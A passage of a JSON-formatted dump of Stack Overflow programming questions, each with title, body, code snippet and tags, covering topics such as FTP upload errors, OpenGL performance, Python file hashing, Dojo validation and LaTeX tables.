count of matching nodes. For instance instead of what I get by default, as a
select list:\n\nI'd like to get something like\n\nWith each link showing the count
in parentheses and drilling down in the same way that selecting one of the options
in the first code block would.\nCould you provide any pointers on how to approach
this? Thanks.\n", "<select name=\"state\" class=\"form-select\" id=\"edit-state\"
>\n<option value=\"All\" selected=\"selected\">&lt;Any&gt;</option>\n<option
value=\"AL\">Alabama</option>\n<option
value=\"AK\">Alaska</option>\n...\n</select>\n", "php drupal drupal-views"],
"1498512": ["Glassfish can't find my application path correctly?", "I always
developed on , using the deploy feature on it, but it seems that on productio is a
little different, it seems that can't find my application path correclty.\nI have
this domain brainset.com.br, which you can see this screen when clicking on the
link:\n\nI didn't configure this before, 'cause I don't know how to do it.\nThe
website it's on air (or it should be) and I need to setup glassfish to the correct
path.\n\nWhat I'm missing here ? Sorry if my post lack any information, I will
provide soon as demanded, 'cause I don't know what could be useful to the post
tough.\nAny idea how to fix this ?\n", "Glassfish", "deployment glassfish
glassfish-3 web-deployment production-environment"], "1235900": ["Compound Controls
example crashing", "I've been trying to run this compound controls' example and on
the AVD pops up a window with the message - \"The application ClearableEditText
(process test.todolist) has stopped unexpectedly. Please try again\", preventing
the app of running. \nAny idea to solve it?\nThank you.\nHere's the LogCat
excerpt:\n\nERROR/AndroidRuntime(9176): FATAL\n EXCEPTION: main\n11-15
15:51:48.419:\n ERROR/AndroidRuntime(9176):\n java.lang.RuntimeException: Unable
to\n instantiate activity\n
ComponentInfo{test.todolist/test.todolist.ClearableEditText}:\n
java.lang.InstantiationException:\n test.todolist.ClearableEditText\n\n", "",
"android custom-controls"], "708481": ["Public Dynamic Array returns error", "Hello
all I am getting an error\n\nwith the following code \n\nwhen i decare the array \
n\nit works, however I wish to declare a dynamic array. Please help. Thank you.\n",
"Run-time error '9':\nSubscript out of range\n", "vba excel-vba"], "37271":
["changeWorkingDirectory on Apache Commons FTP causing error \"Connection is not
open\" on logout", "We have some code that is supposed to use the Apache commons
FTP library to upload files to a partner's ftp server. The code looks like
this...\n\n}\nThen we get the following stack trace...\n\
ncom.google.gwt.user.server.rpc.UnexpectedException: Service method\n 'public
abstract com.printlogix.rp.client.dto.ExpeditedDeliveryTime\n
com.printlogix.rp.client.rpc.OrderService.processOrderViaInvoice()'\n threw an
unexpected exception: java.lang.RuntimeException: Unexpected\n exception while
transfering order files via FTP at\n
com.google.gwt.user.server.rpc.RPC.encodeResponseForFailure(RPC.java:385)\n at\n
com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse(RPC.java:588)\n at\n
com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall(RemoteServiceServle
t.java:208)\n at\n
com.google.gwt.user.server.rpc.RemoteServiceServlet.processPost(RemoteServiceServle
t.java:248)\n at\n
com.google.gwt.user.server.rpc.AbstractRemoteServiceServlet.doPost(AbstractRemoteSe
rviceServlet.java:62)\n at
javax.servlet.http.HttpServlet.service(HttpServlet.java:637) at\n
javax.servlet.http.HttpServlet.service(HttpServlet.java:717) at\n
com.google.inject.servlet.ServletDefinition.doService(ServletDefinition.java:263)\n
at\n
com.google.inject.servlet.ServletDefinition.service(ServletDefinition.java:178)\n
at\n
com.google.inject.servlet.ManagedServletPipeline.service(ManagedServletPipeline.jav
a:91)\n at\n
com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java
:62)\n at\n
com.printlogix.rp.server.utils.NoCacheFilter.doFilter(NoCacheFilter.java:39)\n
at\n
com.google.inject.servlet.FilterDefinition.doFilter(FilterDefinition.java:163)\n
at\n
com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java
:58)\n at\n
com.printlogix.rp.server.utils.BugScoutFilter.doFilter(BugScoutFilter.java:24)\n
at\n
com.google.inject.servlet.FilterDefinition.doFilter(FilterDefinition.java:163)\n
at\n
com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java
:58)\n at\n
com.google.inject.persist.PersistFilter.doFilter(PersistFilter.java:89)\n at\n
com.google.inject.servlet.FilterDefinition.doFilter(FilterDefinition.java:163)\n
at\n
com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java
:58)\n at\n
com.google.inject.servlet.ManagedFilterPipeline.dispatch(ManagedFilterPipeline.java
:118)\n at\n
com.google.inject.servlet.GuiceFilter.doFilter(GuiceFilter.java:113)\n at\n
org.mortbay.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1
157)\n at\n
org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:388)\n at\n
org.mortbay.jetty.security.SecurityHandler.handle(SecurityHandler.java:216)\n
at\n org.mortbay.jetty.servlet.SessionHandler.handle(SessionHandler.java:182)\
n at\n
org.mortbay.jetty.handler.ContextHandler.handle(ContextHandler.java:765)\n at\n
org.mortbay.jetty.webapp.WebAppContext.handle(WebAppContext.java:418)\n at\n
org.mortbay.jetty.handler.ContextHandlerCollection.handle(ContextHandlerCollection.
java:230)\n at\n
org.mortbay.jetty.handler.HandlerCollection.handle(HandlerCollection.java:114)\n
at\n org.mortbay.jetty.handler.HandlerWrapper.handle(HandlerWrapper.java:152)\n
at org.mortbay.jetty.Server.handle(Server.java:326) at\n
org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java:542)\n at\n
org.mortbay.jetty.HttpConnection$RequestHandler.content(HttpConnection.java:943)\n
at org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:756) at\n
org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:218) at\n
org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:404) at\n
org.mortbay.io.nio.SelectChannelEndPoint.run(SelectChannelEndPoint.java:410)\n
at\n
org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582)\n
Caused by: java.lang.RuntimeException: Unexpected exception while\n transfering
order files via FTP at\n
com.printlogix.rp.server.utils.FTPUtils.ftp(FTPUtils.java:73) at\n
com.printlogix.rp.server.utils.FTPUtils.send(FTPUtils.java:37) at\n
com.printlogix.rp.server.CheckoutService.completeOrderViaInvoice(CheckoutService.ja
va:97)\n at\n
com.printlogix.rp.server.rpc.OrderServiceImpl.processOrderViaInvoice(OrderServiceIm
pl.java:280)\n at\n
com.google.inject.persist.jpa.JpaLocalTxnInterceptor.invoke(JpaLocalTxnInterceptor.
java:66)\n at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at\n
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
at\n
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n at java.lang.reflect.Method.invoke(Method.java:597) at\n
com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse(RPC.java:569) ...\n 37
more Caused by: java.io.IOException: Connection is not open at\n
org.apache.commons.net.ftp.FTP.sendCommand(FTP.java:472) at\n
org.apache.commons.net.ftp.FTP.sendCommand(FTP.java:537) at\n
org.apache.commons.net.ftp.FTP.sendCommand(FTP.java:586) at\n
org.apache.commons.net.ftp.FTP.quit(FTP.java:794) at\n
org.apache.commons.net.ftp.FTPClient.logout(FTPClient.java:788) at\n
com.printlogix.rp.server.utils.FTPUtils.ftp(FTPUtils.java:70) ... 46\n more\n\
nThis makes it look like the problem is happening on the line \"ftp.logout();\"
which makes no sense as we have already looped through all files and uploaded it.
We also only have this problem on our server (Ubuntu 10 x64) and not on the
workstations (Windows 7 x64). We are totally stumped, does anybody have any
ideas??\n", "private void ftp(ArrayList<File> files) {\n final FTPClient ftp =
new FTPClient();\n try {\n int reply;\n ftp.connect(ftpHost);\n
ftp.login(ftpUser, ftpPassword);\n if (!Strings.isNullOrEmpty(path)) {\n
if (!ftp.changeWorkingDirectory(path)) {\n throw new
RuntimeException(\"Unable to set ftp path to \\\"\" + path + \"\\\"\");\n
}\n }\n LOG.info(\"logged into ftp account\");\n for (File
file : files) {\n LOG.info(\"processing file \" +
file.getAbsolutePath());\n\n if
(file.getName().toUpperCase().endsWith(\"PDF\")) {\n
ftp.setFileType(FTPClient.BINARY_FILE_TYPE); //product pdf\n } else {\n
ftp.setFileType(FTPClient.ASCII_FILE_TYPE); //csv data file\n }\n\n
LOG.info(\"storing file file \");\n final boolean stored =
ftp.storeFile(file.getName(), new FileInputStream(file));\n LOG.info(\"store
return \" + stored);\n }\n reply = ftp.getReplyCode();\n if (!
FTPReply.isPositiveCompletion(reply)) {\n ftp.disconnect();\n
LOG.error(\"FTP server refused connection. reply code=\" + reply);\n }\n
ftp.logout();\n} catch (IOException e) {\n LOG.error(\"FTP Failed\", e);\n
throw new RuntimeException(\"Unexpected exception while transfering order files via
FTP\", e);\n} finally {\n if (ftp.isConnected()) {\n try {\n
ftp.disconnect();\n } catch (IOException ioe) {\n // do nothing\n
}\n }\n}\n", "java ftp ftp-client apache-commons-net"], "5657707": ["How to use
Go language with NetBeans IDE?", "How to setup Go language in NetBeans IDE?. \
n(Like i am already using Python, C/C++, Java, Php, BASH already in one NetBeans
IDE).\n", "", "netbeans ide editor go"], "1242098": ["How can this function be
optimized? (Uses almost all of the processing power)", "I'm in the process of
writing a little game to teach myself OpenGL rendering as it's one of the things I
haven't tackled yet. I used SDL before and this same function, while still
performing badly, didn't go as over the top as it does now.\nBasically, there is
not much going on in my game yet, just some basic movement and background drawing.
When I switched to OpenGL, it appears as if it's way too fast. My frames per second
exceed 2000 and this function uses up most of the processing power.\nWhat is
interesting is that the program in it's SDL version used 100% CPU but ran smoothly,
while the OpenGL version uses only about 40% - 60% CPU but seems to tax my graphics
card in such a way that my whole desktop becomes unresponsive. Bad.\nIt's not a too
complex function, it renders a 1024x1024 background tile according to the player's
X and Y coordinates to give the impression of movement while the player graphic
itself stays locked in the center. Because it's a small tile for a bigger screen, I
have to render it multiple times to stitch the tiles together for a full
background. The two for loops in the code below iterate 12 times, combined, so I
can see why this is ineffective when called 2000 times per second.\nSo to get to
the point, this is the evil-doer:\n\nIf I artificially limit the speed by called
in the game loop, I cut the FPS down to ~660 \u00b1 20, I get no \"performance
overkill\". But I doubt that is the correct way to go on about this.\nFor the sake
of completion, these are my general rendering and game loop functions:\n\nAccording
to gprof profiling, even when I limit the execution with , it still spends about
50% of the time rendering my background.\n", "void render_background(game_t *game)\
n{\n int bgw;\n int bgh;\n\n int x, y;\n\n glBindTexture(GL_TEXTURE_2D,
game->art_background);\n glGetTexLevelParameteriv(GL_TEXTURE_2D, 0,
GL_TEXTURE_WIDTH, &bgw);\n glGetTexLevelParameteriv(GL_TEXTURE_2D, 0,
GL_TEXTURE_HEIGHT, &bgh);\n\n glBegin(GL_QUADS);\n\n /*\n * Start one
background tile too early and end one too late\n * so the player can not outrun
the background\n */\n for (x = -bgw; x < root->w + bgw; x += bgw)\n {\n
for (y = -bgh; y < root->h + bgh; y += bgh)\n {\n /* Offsets */\n
int ox = x + (int)game->player->x % bgw;\n int oy = y + (int)game-
>player->y % bgh;\n\n /* Top Left */\n glTexCoord2f(0, 0);\n
glVertex3f(ox, oy, 0);\n\n /* Top Right */\n glTexCoord2f(1,
0);\n glVertex3f(ox + bgw, oy, 0);\n\n /* Bottom Right */\n
glTexCoord2f(1, 1);\n glVertex3f(ox + bgw, oy + bgh, 0);\n\
n /* Bottom Left */\n glTexCoord2f(0, 1);\n
glVertex3f(ox, oy + bgh, 0);\n }\n }\n\n glEnd();\n}\n", "c
optimization opengl sdl"], "24074": ["Would developing in different CMS systems be
beneficial?", "At this point we are developing Sitecore websites and we are gaining
experience every day. This means that we know how to adjust our approach to
different types of customers and that we are able to build our applications quicker
every project we do. Of course Sitecore is not the only W-CMS around and we have
looked into other W-CMS's. \nWhat are the pro's and the con's for a company to
offer solutions in different types of CMS's and what would this mean for the
programmers that are working with this CMS?\nWould a choice to offer solutions in
more CMS's automatically mean that the global experience per CMS will shrink
relative?\nHope there are some people around with experience in multiple big W-
CMS's (Sitecore, KEntico, EPIServer, etc.. etc..).\n", "", "content-management-
system sitecore episerver kentico"], "5238258": ["Entity Programming tutorials?",
"I recently learned the basic (in the roughest of definitions) idea of Entity
programming and would like to learn more. The concept I got was pretty much just a
massive abstraction. Is this right? Anywho help and/or tutorials would be much
appreciated.\nThanks\n~Aedon\n", "", "frameworks components entity engine"],
"1838113": ["Linux Bash alias: Why does it says -xvzf not found ", "I have used
mkalias suggested here\nhttp://superuser.com/questions/114546/how-to-store-a-unix-
alias\nby typing\n\nbut it says\n\n-xvzf not found\n\nWhy ?\n", "mkalias
untar \"tar -xvzf\"\n", "linux bash alias"], "1235903": ["Reopen Workbook results
in Application-Defined or Object-Defined", "In response to question: Close then
Open Workbook\nI am now having issues, it seems with Object declaration
overlapping. After implementing the logic described by @DanielCook in the post. I
received the error during the logic stub below.\n\nAfter further review, it seems
that the object which was originally opened up as (well before this stub is run),
is having some kind of conflict.\nI would assume that the Workbook object and all
of its resources defined in the method are still resident in memory when is
opened and therefore causing the error message.\nQuestion\nOutside
of the Method i implemented, , as a temporary stop-gap, which is in testing, is
there any other way to prevent conflict of resources when the current file is saved
to a different name, , and then reopened as its original name?\n", "Application-
Defined or Object-Defined", "excel-vba excel-2007 excel-2010"], "3079669": ["Can't
get an authorized user in integration test with Rails 3.1/Authlogic/ActiveRecord
session store", "I am trying to write a simple integration test on a Rails 3.1
application that uses Authlogic and ActiveRecord SessionStore, but I'm hitting the
wall.\nFirst, I tried a classic approach: after ensuring that line is already in
our I then wrote a setup method that calls and then uses to create a session.\
nThis did create a session (as proved by ), but when doing a request on protected
resource, the response would be a redirect to the login form and session was killed
(ie. would return )\nI tried POST-ing the email/password as well, but that seems
to work only if I change the session store back to cookie_store (something I found
out from this comment).\nSwitching session store to just for test would be an
option, but there are some tests that already depend on ActiveRecord store.\nIs
there any way to switch the session store just for one test? Is there any other
solution to this problem that I'm missing?\n\n", "require \"authlogic/test_case\"",
"ruby-on-rails ruby-on-rails-3 integration-testing authlogic session-store"],
"3997943": ["DOCUMENT_ROOT from custom script inside theme", "I am having problems
getting document from a custom script inside the theme. It simple not including the
domain part.\nHere is the current way I am using:\n\nand the path I get is like: \
n\nalthough I know it should be like:\n\nI really have no idea how to fix that,
what way I should use instead to get the domain folder get included. Manually
defining it is not an option as it might change.\nMaybe someone could suggest.
Thank you.\n", "$root = realpath($_SERVER[\"DOCUMENT_ROOT\"]);\n", "php
customization include wp-load.php"], "4413795": ["Is the advantage of calling
ensureindex in mongodb just speed?", "I've been reading about ensureindex (Mongodb:
when to call ensureIndex?) , (Pymongo / MongoDB: create index or ensure index?) and
mongodb documentation, but i havent come to a conclusion about the use of
ensureindex.\nDoesnt mongodb create an Id for every document? Why do i need another
index?\nIn case I have a document like this:\n\nWhats the advantage of calling
ensureindex on \"name\" for example?\n", "{\n \"Name\": \"Jon Secada\",\
n \"Date of Birth\": \"09-19-1983\",\n \"Address\": \"1 chemin des Loges\",\n
\"City\": \"VERSAILLES\"\n}\n", "mongodb"], "452732": ["How to control the memory
usage of a swap partiotion?", "Thats pretty much the quesiton: how can I control
the memory usage of each swap partiotion, say /etc/sa5?\n", "", "swap"], "1848710":
["how does RoR local give you such a nice API like: layout.side.title?", "How does
the RoR localization engine take a .yaml file and produce such a nice API to access
the localized text like: layout.side.title\nWhat kind of class is it that you can
just create a recursive style of property accessors?\n", "", "ruby-on-rails ruby
localization"], "1278310": ["dojo dijit client side validation onchange", "So I
followed the example in the Dojo - Using the Dojo JavaScript Library to Build Ajax
Applications to add server-side validation to the username validationtextbox field
on my form. Basically I added a usernameOnChange function that submitted an xhrGet
request, the xhrGet returns JSON and is handled by the usernameValidationHandler.\
nIt works great, but the usernameValidationHandler only sets the tooltip display
message to an error. It doesn't set the field to be invalid and thus the user can
still submit the form. How do I set the field to be invalid so the form won't
submit?\n\n", " <input type=\"text\" id=\"userName\" name=\"userName\"
size=\"20\" \n dojoType=\"dijit.form.ValidationTextBox\"\n
trim=\"true\" \n required=\"true\" \n onChange=\"userNameOnChange\"\n
regExp=\"\\w+\"\n invalidMessage=\"User name is required\"\n />\n\
nfunction userNameOnChange() { \n var userName =
dijit.byId(\"userName\").getValue();\n if (userName == \"\") {\n return;\
n } \n dojo.xhrGet( { \n url: \"validateUserName.jsp?
userName=\" + userName,\n handleAs: \"json\",\n handle:
userNameValidationHandler\n });\n}\n\nfunction
userNameValidationHandler(response) {\n
dijit.byId(\"userName\").displayMessage();\n\n if (!response.valid) {\n var
errorMessage = \"User name already taken\";\n // Display error message as
tooltip next to field\n
dijit.byId(\"userName\").displayMessage(errorMessage);\n // HOW DO I SET THE
FIELD TO BE INVALID NOW???\n }\n}\n", "validation dojo client-side dijit
onchange"], "3154844": ["anyone know how to use a partially applied three argument
function infix (haskell)", "I want to apply a 3 argument function in different ways
based on a boolean value (one of the arguments).\nI'd like to be able to apply it
in an infix manner so I can chain it (example below). something like the following
but that actually works.\n\nDo I need to have the Bool as the second variable? Or
something else? I'm kind of lost.\nP.S. the reason I wanted to do this was to have
optional append function\n", "f :: Bool -> a -> a -> a\n\nf True i j = i\nf False
i j = j\n\n... y `(f True)` z `(f False)` b\n", "haskell syntax operators partial-
application"], "1793019": ["Graphs creation using Rapha\u00ebl", "I am trying to
accomplish this same graph: http://raphaeljs.com/analytics.html but the thing is I
will be needing multiple graphs on the same page and this won't allow me to do so,
could anyone help me out? I've been messing around with the code inside the demo
but haven't been able to successfully allow me to show multiple graphs.\n", "",
"graph raphael"], "1494136": ["postgres getting data where two column references
same parent id", "There are 3 table in postgres database\n\nI am trying to write
function which take rel_id as input and should output cust_name respect to name_id1
and name_id2. Because both name_id1 and name_id2 references to same parent id I am
not able to get respective name.\n\n", "CREATE TABLE tab_name\n(\n name_id integer
NOT NULL,\n cust_name character varying NOT NULL, -- contains names like
david,jones,athur\n CONSTRAINT tab_name_pkey PRIMARY KEY (name_id)\n)\n\nCREATE
TABLE tab_rel\n(\n rel_id integer NOT NULL,\n rel_desc character varying NOT
NULL,-- contains relation description father son, sister brother\n CONSTRAINT
tab_rel_pkey PRIMARY KEY (rel_id)\n)\n\nCREATE TABLE tab_rel_map\n(\n rel_id
integer NOT NULL,\n name_id1 integer NOT NULL,\n name_id2 integer NOT NULL,\n
CONSTRAINT tab_rel_map_name_id1_fkey FOREIGN KEY (name_id1)\n REFERENCES
tab_name (name_id) MATCH SIMPLE\n ON UPDATE NO ACTION ON DELETE NO ACTION,\n
CONSTRAINT tab_rel_map_name_id2_fkey FOREIGN KEY (name_id2)\n REFERENCES
tab_name (name_id) MATCH SIMPLE\n ON UPDATE NO ACTION ON DELETE NO ACTION,\n
CONSTRAINT tab_rel_map_rel_id_fkey FOREIGN KEY (rel_id)\n REFERENCES tab_rel
(rel_id) MATCH SIMPLE\n ON UPDATE NO ACTION ON DELETE NO ACTION\n)\n",
"postgresql foreign-keys reference primary-key"], "2799272": ["Why are these two
Actions considered ambiguous despite the parameters being different?", "The current
request for action 'Index' on controller type 'UsersController' is ambiguous
between the following action methods:\nSystem.Web.Mvc.ActionResult
PostUser(Models.SimpleUser) on type Controllers.UsersController\
nSystem.Web.Mvc.ActionResult PostUser(Int32, Models.SimpleUser) on type
Controllers.UsersController\nIs happening when I try to POST website.com/users/
with form values.\nWhen there is NO ID (website.com/users/) I want it to create a
new user, when there IS an ID (/users/51 for example) I want it to update that
user, so how can I make it tell the difference between these two Actions?\nHere are
the two actions:\n\nHere is the MapRoute:\n\n", " [HttpPost]\n
[ActionName(\"Index\")]\n public ActionResult PostUser(SimpleUser u)\n {\n\n
return Content(\"User to be created...\");\n }\n\n [HttpPost]\n
[ActionName(\"Index\")]\n public ActionResult PostUser(int id, SimpleUser u)\n
{\n\n return Content(\"User to be updated...\");\n }\n", "asp.net-mvc
action asp.net-mvc-routing"], "5428481": ["Output text in between two words", "I
would like to use PHP to input a certain text and the output should be the text in
between two words. To clarify:\nInput:\n\nOutput:\n\n", "Lorem ipsum dolor sit
amet\n", "php search output"], "425782": ["How is this image effect created?", "I
have looked at this page for some time now. Amazing, really. But I can't tell how
the background image effect that happens on scroll works. Have gone through the
code found that they are using Jquery plus a number of scrolling plugins, but
nothing about the images that I can see. \nHow would you say that it's done?\nThe
site: http://herohousing.org/UBBT/\n", "", "jquery css background-image"],
"5215573": ["Why is my OpenMP implementation slower than a single threaded
implementation?", "I am learning about OpenMP concurrency, and tried my hand at
some existing code I have. In this code, I tried to make all the for loops
parallel. However, this seems to make the program MUCH slower, at least 10x slower,
or even more than the single threaded version.\nHere is the code:
http://pastebin.com/zyLzuWU2\nI also used pthreads, which turns out to be faster
than the single threaded version.\nNow the question is, what am I doing wrong in my
OpenMP implementation that is causing this slowdown?\nThanks!\nedit: the single
threaded version is
just the one without all the #pragmas\n", "", "c openmp"], "1467305": ["Python
File Integrity Monitoring", "I have written the following code and can't get it
working and I can't see why. The code:\n\nReads list of target files\nLoops
through the directories\nRuns MD5 hash on the file\nChecks the activefile for
previous md5 hashes for said file\nIf the file is new it will log it as new\nIf the
log is existing but changed it will write the change and log the change\nIf not new
and no change then do nothing\n\nHere is the code:\n\n", "import hashlib\nimport
logging as log\nimport optparse\nimport os\nimport re\nimport sys\nimport glob\
nimport shutil\n\ndef md5(fileName):\n \"\"\"Compute md5 hash of the specified
file\"\"\"\n try:\n fileHandle = open(fileName, \"rb\")\n except
IOError:\n return\n m5Hash = hashlib.md5()\n while True:\n data
= fileHandle.read(8192)\n if not data:\n break\n
m5Hash.update(data)\n fileHandle.close()\n return m5Hash.hexdigest()\n\nreq =
open(\"requested.txt\")\nfor reqline in req:\n reqName =
reqline[reqline.rfind('/') + 1:len(reqline) - 1]\n reqDir =
reqline[0:reqline.rfind('/') + 1] \n tempFile = open(\"activetemp.txt\", 'w') \n
for name in glob.glob(reqDir + reqName): \n fileHash = md5(name) \n
actInt = 0\n if fileHash != None:\n\n actFile =
open(\"activefile.txt\")\n\n for actLine in actFile:\n
actNameDir = actLine[0:actLine.rfind(' : ')]\n actHash =
actLine[actLine.rfind(' : ') + 3:len(actLine) -1]\n if actNameDir ==
name and actHash == fileHash:\n tempFile.write(name + \" : \" +
fileHash + \"\\n\")\n actInt = 1 \n print
fileHash\n print actHash\n print name\n
print actNameDir\n if actNameDir == name and actHash != fileHash:\n
fimlog = open(\"fimlog.txt\", 'a')\n tempFile.write(name
+ \" : \" + actHash + \"\\n\") \n actInt = 1\n
fimlog.write(\"FIM Log: The file \" + name + \" was modified: \" + actHash + \"\\
n\") \n if actInt == 0: \n fimlog = open(\"fimlog.txt\",
'a')\n fimlog.write(\"FIM Log: The file \" + name + \" was created:
\" + fileHash + \"\\n\")\n tempFile.write(name + \" : \" + fileHash
+ \"\\n\") \n\
nshutil.copyfile(\"activetemp.txt\", \"activefile.txt\")\n", "python file hash for-
loop md5"], "5600775": ["Ruby send email with an attachment with
/usr/sbin/sendmail", "I am trying to send an email with a csv file for
attachement.\nI do the following but I only receive an email with a empty csv file
(and not with the content of it). Can you please help me on that?\nI don't want to
use any extra library so please don't tell me to use pony or so ;-)\n\nThanks\n",
"to=\"[email protected]\"\nsubject='The subject'\nfrom='\"Name\" <[email protected]>'\
ndescription =\"Desc\"\n\ncsvnamefile = \"/path/to/file/filename.csv\"\n\nputs
value = %x[/usr/sbin/sendmail #{to} << EOF\nsubject: #{subject}\nfrom: #{from}\
nContent-Description: \"#{csvnamefile}\"\nContent-Type: multipart/mixed;
name=\"#{csvnamefile}\"\nContent-Transfer-Encoding:base64\nContent-Disposition:
attachment; filename=\"#{csvnamefile}\"\nDescription : #{description}\nEOF]\n",
"ruby attachment sendmail"], "5079660": ["Text alignment on multirow when it breaks
between pages", "How can I get properly displayed text on multirow cells, when they
break between pages?\nHere the example http://web-engineering.com.ua/mtest.pdf\
nText '/importp' on the end of first page prints unproperly. \nI don't know on
which cell page will be broken.\nhere code\n\n", "\\begin{tabularx}{\\linewidth}{l|
l|l|X|}\n\n\\hline\\noalign{\\vskip-\\arrayrulewidth}\\endhead\n\\noalign{\\
vskip-\\arrayrulewidth}\\hline\\endfoot\n\n\\multicolumn{1}{|l}{} & \\
multicolumn{1}{|m{0.35\\newtblsparewidth}}{pagemode=bookmark|thumb|none} & \\
multicolumn{1}{|m{0.15\\newtblsparewidth}}{} & \\multicolumn{1}{|m{0.37\\
newtblsparewidth}|}{} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\
multicolumn{1}{|m{0.35\\newtblsparewidth}}{nameddest=<name>} & \\multicolumn{1}{|
m{0.15\\newtblsparewidth}}{} & \\multicolumn{1}{|m{0.37\\newtblsparewidth}|}{} \\\\
\\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{highlight=<lt>,<rt>,<top>,<btm>} & \\multicolumn{1}{|m{0.15\\
newtblsparewidth}}{} & \\multicolumn{1}{|m{0.37\\newtblsparewidth}|}{} \\\\ \\
cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{fullscreen=yes|no} & \\multicolumn{1}{|m{0.15\\
newtblsparewidth}}{} & \\multicolumn{1}{|m{0.37\\newtblsparewidth}|}{} \\\\ \\
cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{usept=yes|no} & \\multicolumn{1}{|m{0.15\\newtblsparewidth}}{} &
\\multicolumn{1}{|m{0.37\\newtblsparewidth}|}{If \\textbf{yes}, then all values for
positioning such as \\textit{top, left, right, btm, wd, ht,} etc. are absolute and
measured in points(1/72 inch). \n\n Otherwise these values will be interpreted
as a count of pixels at 100\\% zoom. This behavior is default for Adobe
Acrobat/Reader. In this case, to receive absolute value in points, Acrobat
calculates it by:\n\n V(pt)=V(from\\_cmd)\\(\\ast{}\\)72.0/(disp\\_resol)\n\n
The \\textit{disp\\_resol} parameter is used in global \u2018Preferences/Page
Display/Resolution\u2019 location (both in Acrobat and PDF-XChange
Viewer).} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{3}{|
m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{\\texttt{PDFXCview.exe
/A \"page=10\\&zoom=200,250,100\" mypdffile.pdf}} \\\\ \\hline\n \\
multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\textbf{/close}} & \\multicolumn{3}{|
m{0.35\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{When this command is used,
viewer will close files specified by arguments <filename1>{\\dots}<filenameN>. If
any of these files was modified, behavior of the viewer depends of command
parameter (\\textbf{save}, \\textbf{discard} or \\textbf{ask}). If \\textbf{save}
parameter was used, documents which should be closed will be saved. If \\
textbf{discard} was used \u2013 all modifications will be lost. And with \\
textbf{ask} argument, viewer will ask what to do.\n\n If all files opened into
the viewer will be closed by /close command, application will be closed too.\n\n
\\textbf{For example,}\n\n \\texttt{PDFXCView.exe /close c:\\textbackslash
mydocument.pdf}\n\n \\texttt{PDFXCView.exe /close:save c:\\textbackslash
mydocument.pdf}} \\\\ \\hline\n \\multicolumn{1}{|m{0.13\\newtblsparewidth}}{\\
multirow{6}{0.13\\newtblsparewidth}{\\textbf{/print}}} & \\multicolumn{3}{|m{0.35\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{When this command is
specified, PDF file(s) specified by parameters <filename1>{\\dots}<filenameN> will
be printed. Printing parameters differ depending on arguments used:} \\\\ \\
cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{default=yes|no} & \\multicolumn{2}{|m{0.15\\newtblsparewidth+2\\
tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{If this argument is used and
its value is \\textbf{yes}, viewer will reset printing settings before printing
documents. Otherwise if the last is used, stored parameters will be applied.
Default value: \\textbf{yes}.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}{} & \\
multicolumn{1}{|m{0.35\\newtblsparewidth}}{showui=yes|no} & \\multicolumn{2}{|
m{0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}
{Defines if printing progress will be shown. Default value: \\textbf{no}.} \\\\ \\
cline{2-4} \n \\multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\
newtblsparewidth}}{printer=<printername>} & \\multicolumn{2}{|m{0.15\\
newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\newtblsparewidth}|}{Specifies
the printer on which documents should be printed. If not specified, default system
printer will be used. Please note, if printer name contains spaces or \\textbf{\\&}
character, it should be enclosed into quotes.} \\\\ \\cline{2-4} \n \\
multicolumn{1}{|l}{} & \\multicolumn{1}{|m{0.35\\newtblsparewidth}}
{pages=<pagesrange>} & \\multicolumn{2}{|m{0.15\\newtblsparewidth+2\\tabcolsep+\\
arrayrulewidth+0.37\\newtblsparewidth}|}{Specifies the pages range(s) which should
be printed. Syntax of range is the same as on print dialog. If argument is
omitted, all pages will be printed.} \\\\ \\cline{2-4} \n \\multicolumn{1}{|l}
{} & \\multicolumn{3}{|m{0.35\\newtblsparewidth+2\\tabcolsep+\\
arrayrulewidth+0.15\\newtblsparewidth+2\\tabcolsep+\\arrayrulewidth+0.37\\
newtblsparewidth}|}{\\textbf{For example,}\n\n \\texttt{PDFXCView.exe
